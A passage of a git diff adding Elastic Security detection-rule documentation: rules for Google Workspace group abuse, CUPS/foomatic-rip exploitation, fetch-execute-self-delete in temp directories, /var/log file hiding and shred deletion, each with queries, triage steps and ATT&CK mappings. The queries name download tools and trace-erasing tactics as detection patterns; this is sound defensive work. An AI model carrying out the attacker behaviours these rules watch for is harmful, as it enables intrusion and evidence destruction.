Sub-technique: +** Name: Remote Email Collection +** ID: T1114.002 +** Reference URL: https://attack.mitre.org/techniques/T1114/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-external-user-added-to-google-workspace-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-external-user-added-to-google-workspace-group.asciidoc new file mode 100644 index 0000000000..44a4169825 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-external-user-added-to-google-workspace-group.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-20-external-user-added-to-google-workspace-group]] +=== External User Added to Google Workspace Group + +Detects an external Google Workspace user account being added to an existing group. Adversaries may add external user accounts as a means to intercept shared files or emails with that specific group. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/33329 +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating External User Added to Google Workspace Group* + + +Google Workspace groups allow organizations to assign specific users to a group that can share resources. Application specific roles can be manually set for each group, but if not inherit permissions from the top-level organizational unit. + +Threat actors may use phishing techniques and container-bound scripts to add external Google accounts to an organization's groups with editorial privileges. As a result, the user account is unable to manually access the organization's resources, settings and files, but will receive anything shared to the group. As a result, confidential information could be leaked or perhaps documents shared with editorial privileges be weaponized for further intrusion. + +This rule identifies when an external user account is added to an organization's groups where the domain name of the target does not match the Google Workspace domain. + + +*Possible investigation steps* + +- Identify user account(s) associated by reviewing `user.name` or `user.email` in the alert + - The `user.target.email` field contains the user added to the groups + - The `group.name` field contains the group the target user was added to +- Identify specific application settings given to the group which may indicate motive for the external user joining a particular group +- With the user identified, verify administrative privileges are scoped properly to add external users to the group + - Unauthorized actions may indicate the `user.email` account has been compromised or leveraged to add an external user +- To identify other users in this group, search for `event.action: "ADD_GROUP_MEMBER"` + - It is important to understand if external users with `@gmail.com` are expected to be added to this group based on historical references +- Review Gmail logs where emails were sent to and from the `group.name` value + - This may indicate potential internal spearphishing + + +*False positive analysis* + +- With the user account whom added the new user, verify this action was intentional +- Verify that the target whom was added to the group is expected to have access to the organization's resources and data +- If other members have been added to groups that are external, this may indicate historically that this action is expected + + +*Response and remediation* + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Reactivate multi-factor authentication for the user. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security defaults https://cloud.google.com/security-command-center/docs/how-to-investigate-threats[provided by Google]. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +iam where event.dataset == "google_workspace.admin" and event.action == "ADD_GROUP_MEMBER" and + not endsWith(user.target.email, user.target.group.domain) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-creation-by-cups-or-foomatic-rip-child.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-creation-by-cups-or-foomatic-rip-child.asciidoc new file mode 100644 index 0000000000..4b72166d0c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-creation-by-cups-or-foomatic-rip-child.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-20-file-creation-by-cups-or-foomatic-rip-child]] +=== File Creation by Cups or Foomatic-rip Child + +This detection rule addresses multiple vulnerabilities in the CUPS printing system, including CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177. Specifically, this rule detects suspicious file creation events executed by child processes of foomatic-rip. These flaws impact components like cups-browsed, libcupsfilters, libppd, and foomatic-rip, allowing remote unauthenticated attackers to manipulate IPP URLs or inject malicious data through crafted UDP packets or network spoofing. This can result in arbitrary command execution when a print job is initiated. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/cups-overflow +* https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/ +* https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1 +* https://github.com/RickdeJager/cupshax/blob/main/cupshax.py + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating File Creation by Cups or Foomatic-rip Child* + + +This rule identifies potential exploitation attempts of several vulnerabilities in the CUPS printing system (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177). These vulnerabilities allow attackers to send crafted IPP requests or manipulate UDP packets to execute arbitrary commands or modify printer configurations. Attackers can exploit these flaws to inject malicious data, leading to Remote Code Execution (RCE) on affected systems. + + +*Possible Investigation Steps* + + +- Investigate the incoming IPP requests or UDP packets targeting port 631. +- Examine the printer configurations on the system to determine if any unauthorized printers or URLs have been added. +- Investigate the process tree to check if any unexpected processes were triggered as a result of IPP activity. Review the executable files for legitimacy. +- Check for additional alerts related to the compromised system or user within the last 48 hours. +- Investigate network traffic logs for suspicious outbound connections to unrecognized domains or IP addresses. +- Check if any of the contacted domains or addresses are newly registered or have a suspicious reputation. +- Retrieve any scripts or executables dropped by the attack for further analysis in a private sandbox environment: +- Analyze potential malicious activity, including: + - Attempts to communicate with external servers. + - File access or creation of unauthorized executables. + - Cron jobs, services, or other persistence mechanisms. + + +*Related Rules* + +- Cupsd or Foomatic-rip Shell Execution - 476267ff-e44f-476e-99c1-04c78cb3769d +- Printer User (lp) Shell Execution - f86cd31c-5c7e-4481-99d7-6875a3e31309 +- Network Connection by Cups or Foomatic-rip Child - e80ee207-9505-49ab-8ca8-bc57d80e2cab +- Suspicious Execution from Foomatic-rip or Cupsd Parent - 986361cd-3dac-47fe-afa1-5c5dd89f2fb4 + + +*False Positive Analysis* + + +- This activity is rarely legitimate. However, verify the context to rule out non-malicious printer configuration changes or legitimate IPP requests. + + +*Response and Remediation* + + +- Initiate the incident response process based on the triage outcome. +- Isolate the compromised host to prevent further exploitation. +- If the investigation confirms malicious activity, search the environment for additional compromised hosts. +- Implement network segmentation or restrictions to contain the attack. +- Stop suspicious processes or services tied to CUPS exploitation. +- Block identified Indicators of Compromise (IoCs), including IP addresses, domains, or hashes of involved files. +- Review compromised systems for backdoors, such as reverse shells or persistence mechanisms like cron jobs. +- Investigate potential credential exposure on compromised systems and reset passwords for any affected accounts. +- Restore the original printer configurations or uninstall unauthorized printer entries. +- Perform a thorough antimalware scan to identify any lingering threats or artifacts from the attack. +- Investigate how the attacker gained initial access and address any weaknesses to prevent future exploitation. +- Use insights from the incident to improve detection and response times in future incidents (MTTD and MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=10s + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and + process.parent.name == "foomatic-rip" and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")] by process.entity_id + [file where host.os.type == "linux" and event.type != "deletion" and + not ( + (process.name == "gs" and file.path like ("/tmp/gs_*", "/var/spool/cups/tmp/gs_*")) or + (process.name == "pdftops" and file.path like "/tmp/0*") + )] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-creation-execution-and-self-deletion-in-suspicious-directory.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-creation-execution-and-self-deletion-in-suspicious-directory.asciidoc new file mode 100644 index 0000000000..597d276034 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-creation-execution-and-self-deletion-in-suspicious-directory.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-20-file-creation-execution-and-self-deletion-in-suspicious-directory]] +=== File Creation, Execution and Self-Deletion in Suspicious Directory + +This rule monitors for the creation of a file, followed by its execution and self-deletion in a short timespan within a directory often used for malicious purposes by threat actors. This behavior is often used by malware to execute malicious code and delete itself to hide its tracks. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File Creation, Execution and Self-Deletion in Suspicious Directory* + + +In Linux environments, temporary directories like `/tmp` and `/var/tmp` are often used for storing transient files. Adversaries exploit these directories to execute malicious payloads and erase traces by creating, running, and deleting files swiftly. The detection rule identifies this pattern by monitoring file creation, execution, and deletion events within these directories, flagging suspicious activities that align with common malware behaviors. + + +*Possible investigation steps* + + +- Review the file creation event details, focusing on the file path and name to determine if it matches known malicious patterns or if it is a legitimate file. +- Examine the process execution event, paying attention to the process name and parent process name to identify if the execution was initiated by a suspicious or unauthorized shell. +- Investigate the user.id and host.id associated with the events to determine if the activity aligns with expected user behavior or if it indicates potential compromise. +- Check for any network activity or connections initiated by the process to identify potential data exfiltration or communication with command and control servers. +- Analyze the deletion event to confirm whether the file was removed by a legitimate process or if it was part of a self-deletion mechanism used by malware. +- Correlate these events with any other alerts or logs from the same host or user to identify patterns or additional indicators of compromise. + + +*False positive analysis* + + +- Development and testing activities in temporary directories can trigger false positives. Exclude specific paths or processes related to known development tools or scripts that frequently create, execute, and delete files in these directories. +- Automated system maintenance scripts may perform similar actions. Identify and whitelist these scripts by their process names or paths to prevent unnecessary alerts. +- Backup or deployment tools like Veeam or Spack may use temporary directories for legitimate operations. Add exceptions for these tools by specifying their executable paths or process names. +- Temporary file operations by legitimate applications such as web servers or database services might be flagged. Monitor and exclude these applications by their known behaviors or specific file paths they use. +- Regular system updates or package installations can involve temporary file handling. Recognize and exclude these activities by identifying the associated package manager processes or update scripts. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further spread of the potential malware. Disconnect it from the network to contain the threat. +- Terminate any suspicious processes identified in the alert, especially those executed from temporary directories, to stop any ongoing malicious activity. +- Conduct a thorough examination of the affected directories (/tmp, /var/tmp, etc.) to identify and remove any remaining malicious files or scripts. +- Restore any affected systems from a known good backup to ensure that no remnants of the malware remain. +- Update and patch the affected system to close any vulnerabilities that may have been exploited by the threat actor. +- Enhance monitoring and logging on the affected host and similar systems to detect any recurrence of this behavior, focusing on file creation, execution, and deletion events in temporary directories. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems may be compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, user.id with maxspan=1m + [file where host.os.type == "linux" and event.action == "creation" and + process.name in ("curl", "wget", "fetch", "ftp", "sftp", "scp", "rsync", "ld") and + file.path : ("/dev/shm/*", "/run/shm/*", "/tmp/*", "/var/tmp/*", + "/run/*", "/var/run/*", "/var/www/*", "/proc/*/fd/*")] by file.name + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.parent.name in ("bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + not process.parent.executable like ( + "/tmp/VeeamApp*", "/tmp/rajh/spack-stage/*", "plz-out/bin/vault/bridge/test/e2e/base/bridge-dev", + "/usr/bin/ranlib", "/usr/bin/ar", "plz-out/bin/vault/bridge/test/e2e/base/local-k8s" + )] by process.name + [file where host.os.type == "linux" and event.action == "deletion" and + file.path : ( + "/dev/shm/*", "/run/shm/*", "/tmp/*", "/var/tmp/*", "/run/*", "/var/run/*", "/var/www/*", "/proc/*/fd/*" + ) and not process.name in ("rm", "ld", "conftest", "link", "gcc", "getarch", "ld")] by file.name + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-creation-in-var-log-via-suspicious-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-creation-in-var-log-via-suspicious-process.asciidoc new file mode 100644 index 0000000000..3f18d0322b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-creation-in-var-log-via-suspicious-process.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-20-file-creation-in-var-log-via-suspicious-process]] +=== File Creation in /var/log via Suspicious Process + +This rule detects the creation of files in the /var/log/ directory via process executables located in world-writeable locations or via hidden processes. Attackers may attempt to hide their activities by creating files in the /var/log/ directory, which is commonly used for logging system events. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File Creation in /var/log via Suspicious Process* + + +In Linux environments, the `/var/log` directory is crucial for storing system logs, which are essential for monitoring and troubleshooting. Adversaries may exploit this by creating files in this directory using executables from insecure locations, aiming to conceal their activities. The detection rule identifies such suspicious file creations by monitoring processes from world-writable or hidden paths, flagging potential evasion tactics. + + +*Possible investigation steps* + + +- Review the process executable path to determine if it originates from a world-writable or hidden location such as /tmp, /var/tmp, /dev/shm, or similar directories. This can indicate potential malicious activity. +- Examine the process name and its parent process to understand the context of the file creation and identify if it is associated with known legitimate or suspicious activities. +- Check the file path in /var/log to see if the created file has any unusual naming conventions or lacks a file extension, which might suggest an attempt to hide or disguise the file. +- Investigate the user account under which the process was executed to determine if it has the necessary permissions and if the activity aligns with the user's typical behavior. +- Correlate the event with other logs or alerts from the same host to identify any related suspicious activities or patterns that could indicate a broader compromise. +- Assess the risk and impact of the file creation by considering the severity and risk score provided, and prioritize further actions based on this assessment. + + +*False positive analysis* + + +- System maintenance scripts or legitimate applications may create temporary log files in /var/log using executables from directories like /tmp or /var/tmp. To handle this, identify and whitelist these known processes by their executable paths. +- Automated backup or monitoring tools might generate files in /var/log as part of their routine operations. Review these tools and exclude their processes from the rule to prevent unnecessary alerts. +- Development or testing environments often involve scripts that create log files in /var/log for debugging purposes. Consider excluding these environments from the rule or creating specific exceptions for known development processes. +- Some system updates or package installations might temporarily use world-writable directories for executable scripts that interact with /var/log. Monitor these activities and create exceptions for trusted update processes to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified as originating from world-writable or hidden paths, especially those involved in file creation within /var/log. +- Conduct a thorough review of the files created in /var/log to determine if they contain malicious content or scripts, and remove any unauthorized files. +- Restore any affected system files or logs from a known good backup to ensure system integrity and continuity of logging. +- Implement stricter permissions on directories like /tmp, /var/tmp, and /dev/shm to prevent unauthorized execution of processes from these locations. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems are compromised. +- Update and enhance monitoring rules to detect similar suspicious activities in the future, focusing on process execution from insecure locations and unauthorized file creation in critical directories. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:linux and event.action:(creation or file_create_event or file_rename_event or rename) and +(process.executable:(/tmp/* or /var/tmp/* or /dev/shm/* or ./* or /boot/*) or process.name:.*) and +file.path:/var/log/* and not file.extension:* and +not process.executable:("./usr/bin/podman" or "./install" or /tmp/vmis.*/install/vmware-installer/vmis-launcher or /tmp/ubuntu-release-upgrader-*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Linux or Mac System Logs +** ID: T1070.002 +** Reference URL: https://attack.mitre.org/techniques/T1070/002/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-deletion-via-shred.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-deletion-via-shred.asciidoc new file mode 100644 index 0000000000..d3163b7393 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-file-deletion-via-shred.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-20-file-deletion-via-shred]] +=== File Deletion via Shred + +Malware or other files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File Deletion via Shred* + + +The `shred` command in Linux is used to securely delete files by overwriting them, making recovery difficult. Adversaries exploit this to erase traces of malicious activity, hindering forensic analysis. The detection rule identifies suspicious use of `shred` by monitoring its execution with specific arguments, excluding benign processes like `logrotate`, to flag potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the use of the `shred` command with suspicious arguments such as "-u", "--remove", "-z", or "--zero". +- Identify the user account associated with the `shred` process to determine if the activity aligns with expected behavior for that user. +- Investigate the parent process of `shred` to ensure it is not `logrotate` and assess whether the parent process is legitimate or potentially malicious. +- Examine the timeline of events leading up to and following the `shred` execution to identify any related suspicious activities or file modifications. +- Check for any other alerts or logs related to the same host or user to identify patterns or additional indicators of compromise. +- Assess the impact of the file deletion by determining which files were targeted and whether they are critical to system operations or security. + + +*False positive analysis* + + +- Logrotate processes may trigger false positives as they use shred for legitimate log file management. Exclude logrotate as a parent process in detection rules to prevent these alerts. +- System maintenance scripts that securely delete temporary files using shred can cause false positives. Identify and whitelist these scripts to reduce unnecessary alerts. +- Backup or cleanup operations that involve shredding old data might be flagged. Review and exclude these operations if they are part of routine system management. +- User-initiated file deletions for privacy or space management can appear suspicious. Educate users on the implications of using shred and consider excluding known user actions if they are frequent and benign. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity or data 